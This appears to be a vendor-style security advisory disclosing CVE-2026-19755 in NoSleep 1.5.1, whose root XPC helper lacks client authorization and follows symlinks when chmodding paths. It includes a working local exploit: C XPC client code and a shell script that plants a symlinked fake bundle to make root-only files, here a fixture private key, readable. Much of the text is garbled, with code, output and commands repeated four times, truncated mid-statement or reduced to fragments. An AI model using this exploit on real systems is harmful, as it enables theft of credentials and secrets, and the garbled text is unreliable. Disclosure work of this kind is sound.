NoSleep 1.5.1 - Unauthorized disclosure of root-owned files through privileged XPC helper

6.9

Medium

Discovered by

Oscar Uribe

Offensive Team, Fluid Attacks

Summary

Full name

NoSleep 1.5.1 - Unauthorized disclosure of root-owned files through privileged XPC helper

Code name

State

Public

Release date

Affected product

NoSleep

Vendor

NoSleep

Affected version(s)

1.5.1

Vulnerability name

Unauthorized access to files

Remotely exploitable

Yes

CVSS v4.0 vector string

CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N

CVSS v4.0 base score

6.9

Exploit available

Yes

Description

NoSleep 1.5.1 installs com.protech.KextHelper as a root LaunchDaemon. The helper exposes a privileged XPC Mach service and accepts raw dictionary messages containing attacker-controlled command and NSBundlePath values.

The service does not verify the connecting process's audit token, code signature, Team ID, designated requirement, bundle identifier, effective user, or any equivalent authorization property before dispatching commands.

For the load command, the helper constructs:

<NSBundlePath>
<NSBundlePath>
<NSBundlePath>
<NSBundlePath>

It recursively traverses that path using logical symlink handling and applies owner root:wheel and mode 0755 before attempting to load the result as a kernel extension. The permission changes occur even when the subsequent kext load fails.

An attacker can therefore create a fake application bundle whose NoSleep.kext entry is a symbolic link to a sensitive target. The root helper follows the link and changes the target directory and its contents to mode 0755. If the complete path is beneath a parent the attacker can traverse, previously root-only files become readable.

Vulnerability

Root Cause

The issue is a chain of two weaknesses in NoSleep/NoSleepHelper/KextHelper/main.m:

  1. Missing XPC client authorization. The listener accepts a peer, installs an event handler, and resumes the connection without validating which process connected. Any local process able to look up the Mach service can invoke privileged commands.

  2. Unsafe privileged filesystem traversal. The load operation derives a path from attacker-controlled NSBundlePath, traverses it with FTS_LOGICAL, and executes chown(path, 0, 0) followed by chmod(path, 0755) for each entry. FTS_LOGICAL follows symbolic links, so the filesystem operation is not confined to the expected NoSleep bundle.

The relevant execution flow is:

unprivileged XPC client
  -> com.protech.KextHelper running as root
  -> command = load
  -> attacker-controlled NSBundlePath
  -> <NSBundlePath>

unprivileged XPC client
  -> com.protech.KextHelper running as root
  -> command = load
  -> attacker-controlled NSBundlePath
  -> <NSBundlePath>

unprivileged XPC client
  -> com.protech.KextHelper running as root
  -> command = load
  -> attacker-controlled NSBundlePath
  -> <NSBundlePath>

unprivileged XPC client
  -> com.protech.KextHelper running as root
  -> command = load
  -> attacker-controlled NSBundlePath
  -> <NSBundlePath>

The helper also exposes unload and uninstall without authorization. Those operations can respectively attempt to unload the NoSleep kext and delete the helper executable, providing additional denial-of-service impact. They are not required for the confirmed file-disclosure path.

Impact

Confirmed impact includes:

  • Disclosure of root-owned files that were initially readable only by root.

  • Recursive unauthorized changes to file ownership and permissions.

  • Loss of confidentiality for credentials, configuration files, tokens, or other secrets located beneath a reachable target directory.

  • Integrity and availability impact when required ownership or permission metadata is changed.

  • Denial of service through unauthenticated unload or uninstall requests.

PoC

Preconditions

  • NoSleep 1.5.1 installed with com.protech.KextHelper registered as a root LaunchDaemon.

  • A local unprivileged account.

  • clang available to build the XPC probe.

  • The test must run in an isolated macOS system or virtual machine.

The supplied PoC is deliberately limited to a disposable fixture under /Users/Shared/nosleep-disclosure-lab. It does not accept an arbitrary target path and does not add the generated key to authorized_keys.

PoC source

The XPC client in nosleep_xpc_probe.c connects to the privileged Mach service and sends the two dictionary fields consumed by the helper:

dispatch_queue_t queue = dispatch_get_global_queue(QOS_CLASS_DEFAULT, 0);
xpc_connection_t connection = xpc_connection_create_mach_service(
    "com.protech.KextHelper",
    queue,
    XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
    (void)event;
});
xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "command", "load");
xpc_dictionary_set_string(message, "NSBundlePath", argv[1]);

xpc_connection_send_message_with_reply(
    connection,
    message,
    queue,
    ^(xpc_object_t reply) {
        printf("return=%s\n",
            xpc_dictionary_get_bool(reply, "return") ? "true" : "false"

dispatch_queue_t queue = dispatch_get_global_queue(QOS_CLASS_DEFAULT, 0);
xpc_connection_t connection = xpc_connection_create_mach_service(
    "com.protech.KextHelper",
    queue,
    XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
    (void)event;
});
xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "command", "load");
xpc_dictionary_set_string(message, "NSBundlePath", argv[1]);

xpc_connection_send_message_with_reply(
    connection,
    message,
    queue,
    ^(xpc_object_t reply) {
        printf("return=%s\n",
            xpc_dictionary_get_bool(reply, "return") ? "true" : "false"

dispatch_queue_t queue = dispatch_get_global_queue(QOS_CLASS_DEFAULT, 0);
xpc_connection_t connection = xpc_connection_create_mach_service(
    "com.protech.KextHelper",
    queue,
    XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
    (void)event;
});
xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "command", "load");
xpc_dictionary_set_string(message, "NSBundlePath", argv[1]);

xpc_connection_send_message_with_reply(
    connection,
    message,
    queue,
    ^(xpc_object_t reply) {
        printf("return=%s\n",
            xpc_dictionary_get_bool(reply, "return") ? "true" : "false"

dispatch_queue_t queue = dispatch_get_global_queue(QOS_CLASS_DEFAULT, 0);
xpc_connection_t connection = xpc_connection_create_mach_service(
    "com.protech.KextHelper",
    queue,
    XPC_CONNECTION_MACH_SERVICE_PRIVILEGED
);

xpc_connection_set_event_handler(connection, ^(xpc_object_t event) {
    (void)event;
});
xpc_connection_resume(connection);

xpc_object_t message = xpc_dictionary_create(NULL, NULL, 0);
xpc_dictionary_set_string(message, "command", "load");
xpc_dictionary_set_string(message, "NSBundlePath", argv[1]);

xpc_connection_send_message_with_reply(
    connection,
    message,
    queue,
    ^(xpc_object_t reply) {
        printf("return=%s\n",
            xpc_dictionary_get_bool(reply, "return") ? "true" : "false"

The bounded wrapper in nosleep_disclosure_poc.sh creates the required fake bundle structure and fixes the symlink target to the disposable key fixture:

#!/bin/sh

set -eu

PROBE=${PROBE:-/tmp/nosleep_xpc_probe}
TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519

if [ "$(id -u)" -eq 0 ]; then
    echo "error: run the PoC as an unprivileged user" >&2
    exit 1
fi

if [ ! -x "$PROBE" ]; then
    echo "error: XPC probe not found or not executable: $PROBE" >&2
    exit 1
fi

if [ -r "$PRIVATE_KEY" ]; then
    echo "error: fixture is already readable before the XPC request" >&2
    exit 1
fi

POC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM

RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"
mkdir -p "$RESOURCES"
ln -s "$TARGET" "$RESOURCES/NoSleep.kext"

echo "Before XPC request: private key is not readable by uid $(id -u)."

set +e
"$PROBE" load "$POC_DIR/Bundle.app"
PROBE_STATUS=$?
set -e

# Exit 3 means the helper returned false after changing the filesystem tree.
if [ "$PROBE_STATUS" -ne 3 ]; then
    echo "error: unexpected probe exit status: $PROBE_STATUS" >&2
    exit "$PROBE_STATUS"
fi

if [ ! -r "$PRIVATE_KEY" ]; then
    echo "error: private key is still not readable" >&2
    exit 1
fi

echo "After XPC request: private key is readable by uid $(id -u)."
stat -f "%N %Su:%Sg %Sp" "$TARGET" "$PRIVATE_KEY" "$PRIVATE_KEY.pub"
shasum -a 256 "$PRIVATE_KEY"
#!/bin/sh

set -eu

PROBE=${PROBE:-/tmp/nosleep_xpc_probe}
TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519

if [ "$(id -u)" -eq 0 ]; then
    echo "error: run the PoC as an unprivileged user" >&2
    exit 1
fi

if [ ! -x "$PROBE" ]; then
    echo "error: XPC probe not found or not executable: $PROBE" >&2
    exit 1
fi

if [ -r "$PRIVATE_KEY" ]; then
    echo "error: fixture is already readable before the XPC request" >&2
    exit 1
fi

POC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM

RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"
mkdir -p "$RESOURCES"
ln -s "$TARGET" "$RESOURCES/NoSleep.kext"

echo "Before XPC request: private key is not readable by uid $(id -u)."

set +e
"$PROBE" load "$POC_DIR/Bundle.app"
PROBE_STATUS=$?
set -e

# Exit 3 means the helper returned false after changing the filesystem tree.
if [ "$PROBE_STATUS" -ne 3 ]; then
    echo "error: unexpected probe exit status: $PROBE_STATUS" >&2
    exit "$PROBE_STATUS"
fi

if [ ! -r "$PRIVATE_KEY" ]; then
    echo "error: private key is still not readable" >&2
    exit 1
fi

echo "After XPC request: private key is readable by uid $(id -u)."
stat -f "%N %Su:%Sg %Sp" "$TARGET" "$PRIVATE_KEY" "$PRIVATE_KEY.pub"
shasum -a 256 "$PRIVATE_KEY"
#!/bin/sh

set -eu

PROBE=${PROBE:-/tmp/nosleep_xpc_probe}
TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519

if [ "$(id -u)" -eq 0 ]; then
    echo "error: run the PoC as an unprivileged user" >&2
    exit 1
fi

if [ ! -x "$PROBE" ]; then
    echo "error: XPC probe not found or not executable: $PROBE" >&2
    exit 1
fi

if [ -r "$PRIVATE_KEY" ]; then
    echo "error: fixture is already readable before the XPC request" >&2
    exit 1
fi

POC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM

RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"
mkdir -p "$RESOURCES"
ln -s "$TARGET" "$RESOURCES/NoSleep.kext"

echo "Before XPC request: private key is not readable by uid $(id -u)."

set +e
"$PROBE" load "$POC_DIR/Bundle.app"
PROBE_STATUS=$?
set -e

# Exit 3 means the helper returned false after changing the filesystem tree.
if [ "$PROBE_STATUS" -ne 3 ]; then
    echo "error: unexpected probe exit status: $PROBE_STATUS" >&2
    exit "$PROBE_STATUS"
fi

if [ ! -r "$PRIVATE_KEY" ]; then
    echo "error: private key is still not readable" >&2
    exit 1
fi

echo "After XPC request: private key is readable by uid $(id -u)."
stat -f "%N %Su:%Sg %Sp" "$TARGET" "$PRIVATE_KEY" "$PRIVATE_KEY.pub"
shasum -a 256 "$PRIVATE_KEY"
#!/bin/sh

set -eu

PROBE=${PROBE:-/tmp/nosleep_xpc_probe}
TARGET=/Users/Shared/nosleep-disclosure-lab
PRIVATE_KEY=$TARGET/id_ed25519

if [ "$(id -u)" -eq 0 ]; then
    echo "error: run the PoC as an unprivileged user" >&2
    exit 1
fi

if [ ! -x "$PROBE" ]; then
    echo "error: XPC probe not found or not executable: $PROBE" >&2
    exit 1
fi

if [ -r "$PRIVATE_KEY" ]; then
    echo "error: fixture is already readable before the XPC request" >&2
    exit 1
fi

POC_DIR=$(mktemp -d /tmp/nosleep-disclosure-poc.XXXXXX)
trap 'rm -rf "$POC_DIR"' EXIT HUP INT TERM

RESOURCES="$POC_DIR/Bundle.app/Contents/Resources"
mkdir -p "$RESOURCES"
ln -s "$TARGET" "$RESOURCES/NoSleep.kext"

echo "Before XPC request: private key is not readable by uid $(id -u)."

set +e
"$PROBE" load "$POC_DIR/Bundle.app"
PROBE_STATUS=$?
set -e

# Exit 3 means the helper returned false after changing the filesystem tree.
if [ "$PROBE_STATUS" -ne 3 ]; then
    echo "error: unexpected probe exit status: $PROBE_STATUS" >&2
    exit "$PROBE_STATUS"
fi

if [ ! -r "$PRIVATE_KEY" ]; then
    echo "error: private key is still not readable" >&2
    exit 1
fi

echo "After XPC request: private key is readable by uid $(id -u)."
stat -f "%N %Su:%Sg %Sp" "$TARGET" "$PRIVATE_KEY" "$PRIVATE_KEY.pub"
shasum -a 256 "$PRIVATE_KEY"

The complete versions used for validation are included beside this advisory as nosleep_xpc_probe.c and nosleep_disclosure_poc.sh.

Build the XPC client

clang -fblocks nosleep_xpc_probe.c -o
clang -fblocks nosleep_xpc_probe.c -o
clang -fblocks nosleep_xpc_probe.c -o
clang -fblocks nosleep_xpc_probe.c -o

Create the disposable root-owned fixture

sudo
sudo
sudo
sudo

Expected initial state:

/Users/Shared/nosleep-disclosure-lab                 root:wheel 0700
/Users/Shared/nosleep-disclosure-lab/id_ed25519      root:wheel 0600
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub  root:wheel 0644
/Users/Shared/nosleep-disclosure-lab                 root:wheel 0700
/Users/Shared/nosleep-disclosure-lab/id_ed25519      root:wheel 0600
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub  root:wheel 0644
/Users/Shared/nosleep-disclosure-lab                 root:wheel 0700
/Users/Shared/nosleep-disclosure-lab/id_ed25519      root:wheel 0600
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub  root:wheel 0644
/Users/Shared/nosleep-disclosure-lab                 root:wheel 0700
/Users/Shared/nosleep-disclosure-lab/id_ed25519      root:wheel 0600
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub  root:wheel 0644

Invoke the helper without privileges

Run the following as the normal local user, without sudo:

PROBE
PROBE
PROBE
PROBE

Observed result:

Before XPC request: private key is not readable by uid 501.
return=false
After XPC request: private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x
41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3  /Users/Shared/nosleep-disclosure-lab/id_ed25519
Before XPC request: private key is not readable by uid 501.
return=false
After XPC request: private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x
41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3  /Users/Shared/nosleep-disclosure-lab/id_ed25519
Before XPC request: private key is not readable by uid 501.
return=false
After XPC request: private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x
41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3  /Users/Shared/nosleep-disclosure-lab/id_ed25519
Before XPC request: private key is not readable by uid 501.
return=false
After XPC request: private key is readable by uid 501.
/Users/Shared/nosleep-disclosure-lab root:wheel drwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519 root:wheel -rwxr-xr-x
/Users/Shared/nosleep-disclosure-lab/id_ed25519.pub root:wheel -rwxr-xr-x
41201c7eb6d688b4b1ca1241023e06d59cce66bfd3cef25b94470b635c3fe6e3  /Users/Shared/nosleep-disclosure-lab/id_ed25519

The helper returns false because the linked directory is not a valid kext. This does not prevent exploitation: the recursive root ownership and mode changes happen before KextManagerLoadKextWithURL rejects the path.

The SHA-256 calculated by uid 501 after exploitation matched the hash calculated by root before exploitation. This proves that the unprivileged user read the complete original private-key file.

Evidence of Exploitation

  • Video of exploitation:

  • Static evidence:

Our security policy

We have reserved the ID CVE-2026-19755 to refer to this issue from now on.

Disclosure policy

System Information

  • NoSleep

  • Version: 1.5.1

  • Operating System: macOS

References

Mitigation

There is currently no patch available for this vulnerability.

Credits

The vulnerability was discovered by Oscar Uribe from Fluid Attacks' Offensive Team.

Timeline

Vulnerability discovered

Vendor contacted

Public disclosure

Does your application use this vulnerable software?

During our free trial, our tools assess your application, identify vulnerabilities, and provide recommendations for their remediation.

logo-fluidattacks-white-png

Fluid Attacks' solutions enable organizations to identify, prioritize, and remediate vulnerabilities in their software throughout the SDLC. Supported by AI, automated tools, and pentesters, Fluid Attacks accelerates companies' risk exposure mitigation and strengthens their cybersecurity posture.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks

Subscribe to our newsletter

Stay updated on our upcoming events and latest blog posts, advisories and other engaging resources.

Get an AI summary of Fluid Attacks